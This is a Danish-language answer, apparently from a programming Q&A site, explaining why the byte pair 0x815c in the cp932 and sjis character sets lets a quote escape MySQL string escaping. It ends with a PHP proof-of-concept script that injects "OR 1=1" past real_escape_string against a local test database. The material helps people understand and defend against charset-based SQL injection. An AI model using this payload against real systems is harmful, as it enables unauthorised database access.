Djævelen er i detaljerne ... lad os starte med, hvordan svarer på spørgsmålet beskriver listen over sårbare tegnsæt:
Dette giver os en vis kontekst - 0xbf5c
bruges som eksempel på gbk
, ikke som det universelle tegn, der skal bruges til alle de 5 tegnsæt.
Det sker bare sådan, at den samme bytesekvens også er et gyldigt tegn under big5
og gb2312
.
På dette tidspunkt bliver dit spørgsmål så nemt som dette:
For at være retfærdig giver de fleste af de google-søgninger, jeg prøvede efter disse tegnsæt, ingen nyttige resultater. Men jeg fandt denne CP932.TXT-fil
, hvori hvis du søger efter '5c '
(med mellemrummet der), springer du til denne linje:
Og vi har en vinder! :)
Nogle Oracle-dokument
bekræfter, at 0x815c
er det samme tegn for begge cp932
og sjis
og PHP genkender det også:
php > var_dump(mb_strlen("\x81\x5c", "cp932"), mb_strlen("\x81\x5c", "sjis"));
int(1)
int(1)
Her er et PoC-script til angrebet:
<?php
$username = 'username';
$password = 'password';
$mysqli = new mysqli('localhost', $username, $password);
foreach (array('cp932', 'sjis') as $charset)
{
$mysqli->query("SET NAMES {$charset}");
$mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}");
$mysqli->query("USE {$charset}_db");
$mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)");
$mysqli->query("INSERT INTO foo (bar) VALUES ('baz'), ('qux')");
$input = "\x81\x27 OR 1=1 #";
$input = $mysqli->real_escape_string($input);
$query = "SELECT * FROM foo WHERE bar = '{$input}' LIMIT 1";
$result = $mysqli->query($query);
if ($result->num_rows > 1)
{
echo "{$charset} exploit successful!\n";
}
$mysqli->query("DROP DATABASE {$charset}_db");
}